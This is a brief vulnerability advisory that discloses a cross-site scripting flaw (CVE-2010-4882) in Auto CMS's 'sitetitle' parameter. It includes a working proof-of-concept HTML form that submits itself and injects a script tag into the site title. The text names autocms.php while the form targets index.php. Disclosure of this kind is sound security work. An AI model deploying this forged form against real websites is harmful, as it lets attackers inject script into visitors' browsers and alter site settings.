XSS vulnerability in Auto CMS

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Auto CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Auto CMS: CVE-2010-4882
The vulnerability exists due to input sanitation error in the "sitetitle" parameter in autocms.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="site_name" value="AutoCMS" />
<input type="hidden" name="site_url" value="index.php" />
<input type="hidden" name="sitetitle" value='AutoCMS"><script>alert("XSS")</script>' />
<input type="hidden" name="admin_email" value="admin@example.com" />
<input type="hidden" name="admin_password" value="" />
<input type="hidden" name="css_file" value="black.css" />
<input type="hidden" name="index_name_link" value="Index" />
<input type="hidden" name="about_name_link" value="About" />
<input type="hidden" name="about_content" value="put about text here" />
<input type="hidden" name="ps_name_link" value="" />
<input type="hidden" name="ps_content" value="put producs and services text here" />
<input type="hidden" name="news_name_link" value="News" />
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />
<input type="hidden" name="contact_name_link" value="Contact" />
<input type="hidden" name="update" value="update" />
</form>
<script>
document.main.submit();
</script>